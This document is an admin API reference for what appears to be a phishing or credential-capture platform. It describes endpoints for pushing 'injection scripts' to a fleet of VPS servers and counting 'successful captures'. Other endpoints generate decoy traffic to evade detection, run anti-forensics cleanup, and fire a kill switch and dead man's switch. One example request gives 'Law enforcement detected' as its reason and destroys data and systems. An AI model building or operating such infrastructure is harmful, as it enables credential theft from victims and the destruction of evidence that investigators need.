Admin API Reference

Authentication

All admin endpoints require authentication using the admin key configured in your environment variables. 

# Using Firestore Authentication
curl -X GET https://your-domain.com/admin/cleanup/status \
  -H "X-Request-ID: a35905f9c363f8be3e297a5b59d8cf29" \
  -H "X-Valid-Until: 1755734576000"

# Using Firestore headers for POST requests
curl -X POST https://your-domain.com/admin/cleanup \
  -H "X-Request-ID: a35905f9c363f8be3e297a5b59d8cf29" \
  -H "X-Valid-Until: 1755734576000" \
  -H "Content-Type: application/json" \
  -d '{
    "operations": ["logs"]
  }'

Cleanup Operations

POST /admin/cleanup

Execute cleanup operations with fine-grained control

Available Operations:

  • logs - Remove old log files
  • database - Clean old user_links records
  • credentials - Clear secure memory storage
  • firestore - Remove old cloud documents
  • all - Execute all cleanup operations

Request Parameters:

  • headers - Firestore authentication headers
  • operations - Array of operations
  • retention_days - Keep data newer than N days
  • dry_run - Preview mode (optional)
POST /admin/cleanup
Content-Type: application/json

{
  
  "operations": ["logs", "database"],
  "retention_days": 30,
  "dry_run": false
}

Response:
{
  "success": true,
  "operations": {
    "logs": {
      "success": true,
      "items_removed": 15,
      "size_freed": 2048576,
      "details": "Processed 20 log files"
    },
    "database": {
      "success": true,
      "items_removed": 150,
      "size_freed": 15000,
      "details": "Found 150 old records for cleanup"
    }
  },
  "total_size_freed": 2063576,
  "message": "Cleanup completed. Freed 2.0 MB across 2 operations",
  "timestamp": "2024-01-15T10:30:00Z"
}

GET /admin/cleanup/status

Get current system status and cleanup statistics

GET /admin/cleanup/status
X-Admin-Key: your_admin_key_here

Response:
{
  "database": {
    "user_links": 1250,
    "config": 1,
    "banned_ips": 45
  },
  "logs": {
    "total_files": 12,
    "total_size": "15.2 MB"
  },
  "timestamp": "2024-01-15T10:30:00Z"
}

Customer Risk Management

POST /admin/risk

Customer risk analysis and threat detection endpoint

POST /admin/risk
Content-Type: application/json

{
  
  "action": "analyze",
  "customer_id": "optional_customer_id"
}

Response:
{
  "success": true,
  "risk_analysis": {
    "threat_level": "medium",
    "suspicious_patterns": ["high_frequency_requests", "unusual_geo_locations"],
    "recommendations": ["enable_rate_limiting", "geo_blocking"]
  },
  "timestamp": "2024-01-15T10:30:00Z"
}

GET /admin/metrics

Get comprehensive customer metrics and analytics

GET /admin/metrics
X-Admin-Key: your_admin_key_here

Response:
{
  "success": true,
  "metrics": {
    "total_customers": 150,
    "active_sessions": 23,
    "total_requests_24h": 15000,
    "avg_response_time": "120ms",
    "error_rate": "0.5%"
  },
  "timestamp": "2024-01-15T10:30:00Z"
}

🔴 Kill Switch System

POST /admin/killswitch

⚠️ CRITICAL: Emergency kill switch for immediate system destruction

Destruction Levels:

  • 1 - Memory purge only
  • 2 - Memory + data obliteration
  • 3 - System corruption
  • 4 - Hardware-level destruction
  • 5 - Stealth exit simulation

Required Parameters:

  • admin_key - Admin authentication
  • confirmation_code - Must be "OMEGA-DESTROY"
  • destruction_level - Level 1-5
  • reason - Audit trail reason
POST /admin/killswitch
Content-Type: application/json

{
  
  "vps_id": "",  // Empty = all VPS instances
  "destruction_level": 3,
  "delay_seconds": 30,
  "reason": "Law enforcement detected",
  "confirmation_code": "OMEGA-DESTROY"
}

Response:
{
  "success": true,
  "vps_id": "",
  "stage": "INITIATION",
  "message": "Kill switch activated - destruction imminent",
  "timestamp": "2024-01-15T10:30:00Z",
  "time_to_live": 30
}

⚠️ WARNING: This endpoint permanently destroys data and systems. Use only in emergency situations.

🚁 Fleet Management

GET /fleet/register

List all registered VPS instances in the fleet

GET /fleet/register
X-Admin-Key: your_admin_key_here

Response:
{
  "success": true,
  "instances": [
    {
      "vps_id": "vps-abc123",
      "ip": "192.168.1.100",
      "domain": "secure.company.com",
      "admin_domain": "admin.company.com",
      "status": "active",
      "last_seen": "2024-01-15T10:29:00Z",
      "version": "v2.1.0",
      "location": "US-East",
      "registered_at": "2024-01-10T08:00:00Z"
    }
  ],
  "fleet_stats": {
    "total_vps": 5,
    "active_vps": 4
  },
  "timestamp": "2024-01-15T10:30:00Z"
}

POST /fleet/register

Register or update a VPS instance in the fleet

POST /fleet/register
Content-Type: application/json
X-VPS-ID: vps-abc123

{
  "ip": "192.168.1.100",
  "domain": "secure.company.com",
  "admin_domain": "admin.company.com",
  "version": "v2.1.0",
  "location": "US-East"
}

Response:
{
  "success": true,
  "vps_id": "vps-abc123",
  "status": "registered",
  "next_heartbeat": 300,
  "timestamp": "2024-01-15T10:30:00Z"
}

POST /fleet/command

Send commands to specific VPS instances

Available Commands:

  • script - Deploy/update injection scripts
  • config - Update configuration
  • restart - Restart services
  • status - Get system status

Command Parameters:

  • headers - Firestore authentication headers
  • vps_id - Target VPS ID
  • command - Command type
  • payload - Command data
POST /fleet/command
Content-Type: application/json

{
  
  "vps_id": "vps-abc123",
  "command": "script",
  "payload": {
    "script_type": "injection",
    "content": "updated_script_content"
  },
  "timeout": 30
}

Response:
{
  "success": true,
  "vps_id": "vps-abc123",
  "command": "script",
  "result": {
    "message": "Script updated successfully",
    "status": "deployed"
  },
  "duration": "2.5s",
  "timestamp": "2024-01-15T10:30:00Z"
}

POST /vps/command

VPS agent endpoint for receiving commands from fleet master

POST /vps/command
Content-Type: application/json

{
  "command": "script",
  "payload": {
    "script_type": "injection",
    "content": "updated_script_content"
  },
  "source": "fleet-master"
}

Response:
{
  "success": true,
  "vps_id": "vps-abc123",
  "command": "script",
  "result": {
    "message": "Command executed successfully",
    "status": "completed"
  },
  "timestamp": "2024-01-15T10:30:00Z"
}

💡 Note: This endpoint is used by VPS agents to receive commands from the fleet master. It's automatically called when commands are distributed via /fleet/command.

POST /vps/killswitch

VPS agent kill switch endpoint for receiving destruction commands

POST /vps/killswitch
Content-Type: application/json

{
  
  "destruction_level": 3,
  "delay_seconds": 0,
  "reason": "Emergency destruction command"
}

Response:
{
  "success": true,
  "vps_id": "vps-abc123",
  "stage": "RECEIVED",
  "message": "Kill switch command received",
  "timestamp": "2024-01-15T10:30:00Z"
}

⚠️ WARNING: This endpoint executes immediate destruction upon receiving valid commands. Used by fleet-wide kill switch operations.

📜 Script Management

GET /admin/scripts

List available scripts with categories and status

GET /admin/scripts?category=build
X-Admin-Key: your_admin_key_here

Response:
{
  "scripts": [
    {
      "name": "build-release.sh",
      "description": "Build and package release",
      "category": "build",
      "available": true,
      "path": "./scripts/build-release.sh"
    }
  ],
  "count": 14,
  "categories": ["build", "install", "test", "deployment", "management", "maintenance", "security", "documentation", "update"],
  "timestamp": "2024-01-15T10:30:00Z"
}

POST /admin/scripts

Execute shell scripts remotely with proper validation

Available Scripts:

  • build-release.sh - Build and package release
  • verify-installation.sh - Verify installation status
  • configure-env.sh - Interactive configuration wizard
  • fleet-master.sh - Fleet master controller setup
  • fleet-agent.sh - Fleet agent configuration
  • test-firebase.sh - Test Firebase integration
  • manage-sauron-pro.sh - Main management interface

Script Categories:

  • build - Build and packaging scripts
  • install - Installation and setup
  • test - Testing and validation
  • deployment - Deployment automation
  • management - System management
POST /admin/scripts
Content-Type: application/json

{
  
  "script": "verify-installation.sh",
  "arguments": ["--verbose", "--check-dependencies"],
  "working_dir": "/opt/sauron",
  "environment": {
    "NODE_ENV": "production",
    "DEBUG": "true"
  },
  "dry_run": false
}

Response:
{
  "success": true,
  "script": "verify-installation.sh",
  "exit_code": 0,
  "output": "Installation verified successfully\nAll dependencies found\nConfiguration valid",
  "duration": "2.34s",
  "timestamp": "2024-01-15T10:30:00Z",
  "dry_run": false
}

⏰ Dead Man's Switch

GET /admin/deadmans

Get current dead man's switch configuration and status

GET /admin/deadmans
Authorization: Bearer your_admin_key_here

Response:
{
  "enabled": true,
  "check_interval": "5m0s",
  "master_timeout": "15m0s",
  "last_heartbeat": "2024-01-15T10:25:00Z",
  "auto_destruct": false,
  "destruction_level": 3
}

POST /admin/deadmans

Configure automated kill switch based on operator activity

Configuration Parameters:

  • enabled - Enable/disable the dead man's switch
  • check_interval - How often to check (duration)
  • master_timeout - Timeout before activation
  • auto_destruct - Auto-activate kill switch
  • destruction_level - Kill switch level (1-5)

Time Formats:

  • "5m" - 5 minutes
  • "1h" - 1 hour
  • "30s" - 30 seconds
  • "24h" - 24 hours
  • Go duration format supported
POST /admin/deadmans
Authorization: Bearer your_admin_key_here
Content-Type: application/json

{
  "enabled": true,
  "check_interval": "5m",
  "master_timeout": "15m",
  "auto_destruct": false,
  "destruction_level": 3
}

Response:
{
  "success": true
}

POST /admin/deadmans/heartbeat

Send heartbeat signal to reset the dead man's switch timer

POST /admin/deadmans/heartbeat
Authorization: Bearer your_admin_key_here

Response:
{
  "success": true,
  "timestamp": "2024-01-15T10:30:00Z",
  "status": "heartbeat_acknowledged"
}

💡 Note: Regular heartbeat signals prevent automatic destruction. If no heartbeat is received within the configured timeout, the system will automatically activate the kill switch if auto_destruct is enabled.

POST /admin/deadmans/heartbeat

Send heartbeat to prevent dead man's switch activation

POST /admin/deadmans/heartbeat
Content-Type: application/json

{
  
}

Response:
{
  "success": true,
  "heartbeat_recorded": "2024-01-15T10:30:00Z",
  "next_required": "2024-01-16T10:30:00Z",
  "time_remaining": "23h 59m 30s"
}

Intelligent Decoy System

POST /admin/decoy

Control the intelligent decoy traffic generation system

Available Actions:

  • start - Start decoy traffic generation
  • stop - Stop decoy traffic generation
  • configure - Update decoy settings
  • reset - Reset decoy system

Configuration Options:

  • intensity - Traffic intensity level (1-10)
  • pattern - Traffic pattern type
  • targets - Target endpoints
  • schedule - Timing configuration
POST /admin/decoy
Content-Type: application/json

{
  
  "action": "configure",
  "config": {
    "intensity": 5,
    "pattern": "random",
    "enabled": true
  }
}

Response:
{
  "success": true,
  "decoy_status": "configured",
  "current_config": {
    "intensity": 5,
    "pattern": "random",
    "enabled": true,
    "last_updated": "2024-01-15T10:30:00Z"
  }
}

GET /admin/decoy/status

Get current decoy system status and statistics

GET /admin/decoy/status
X-Admin-Key: your_admin_key_here

Response:
{
  "success": true,
  "decoy_system": {
    "status": "active",
    "intensity": 5,
    "pattern": "random",
    "requests_generated_24h": 12500,
    "effectiveness_score": 85,
    "last_activity": "2024-01-15T10:29:45Z"
  },
  "statistics": {
    "total_decoy_requests": 125000,
    "detection_evasion_rate": "94%",
    "system_load_impact": "minimal"
  }
}

🔒 Security & Utility

POST /admin/turnstile

Cloudflare Turnstile verification for enhanced security

POST /admin/turnstile
Content-Type: application/json

{
  
  "token": "0.turnstile_token_here"
}

Response:
{
  "success": true,
  "verified": true,
  "challenge_ts": "2024-01-15T10:30:00Z",
  "hostname": "your-domain.com"
}

GET/POST /admin/cleanup/config

Configure automatic log cleanup and retention policies

GET /admin/cleanup/config
X-Admin-Key: your_admin_key_here

Response:
{
  "enabled": true,
  "cleanup_interval": "1h",
  "retention_days": 7,
  "last_cleanup": "2024-01-15T09:30:00Z",
  "cleanup_targets": ["logs", "temp", "cache"]
}

POST /admin/cleanup/config
Content-Type: application/json

{
  
  "enabled": true,
  "cleanup_interval": "2h",
  "retention_days": 14
}

Response:
{
  "success": true,
  "config_updated": true,
  "next_cleanup": "2024-01-15T12:30:00Z"
}

Statistics and Monitoring

GET /stats

Get statistics for a specific slug (requires slug parameter)

GET /stats?slug=your-slug-here

Response:
{
  "visits": 150,
  "logs": 89,
  "valid": 23,
  "invalid": 12
}
Visits
Total unique visitors
Logs
Events logged
Valid
Successful captures
Invalid
Failed attempts

Error Handling

Standard Error Responses

400 Bad Request

Invalid admin key or malformed request

{"success": false, "error": "Invalid admin key"}

401 Unauthorized

Missing or invalid authentication

{"success": false, "error": "Authentication required"}

404 Not Found

Requested slug or resource does not exist

{"success": false, "error": "Slug not found"}

500 Internal Server Error

Server error - check system logs

{"success": false, "error": "Internal server error"}

Security Considerations

✅ Security Features

  • • Admin key authentication for all endpoints
  • • Secure memory storage for sensitive data
  • • Encrypted communication over HTTPS
  • • Anti-forensics cleanup operations
  • • Intelligent decoy traffic generation
  • • Rate limiting and abuse protection
  • • Detailed audit logging

⚠️ Best Practices

  • • Use strong, unique admin keys
  • • Regularly rotate authentication credentials
  • • Monitor admin endpoint access logs
  • • Use dry run mode before destructive operations
  • • Implement network-level access controls
  • • Regular security audits and updates
  • • Backup critical configuration data

CLI Tools and Scripts

Admin Cleanup Script

Convenient shell script for common admin operations: 

# Preview log cleanup (30 days retention)
./scripts/admin_cleanup.sh logs 30 --dry-run

# Clean database records older than 7 days
./scripts/admin_cleanup.sh database 7

# Emergency cleanup - delete all cleanable data
./scripts/admin_cleanup.sh all 0

# Get current system status
./scripts/admin_cleanup.sh status

# Configure decoy system
./scripts/admin_cleanup.sh decoy start --intensity 7

Note: The CLI scripts automatically handle authentication using environment variables.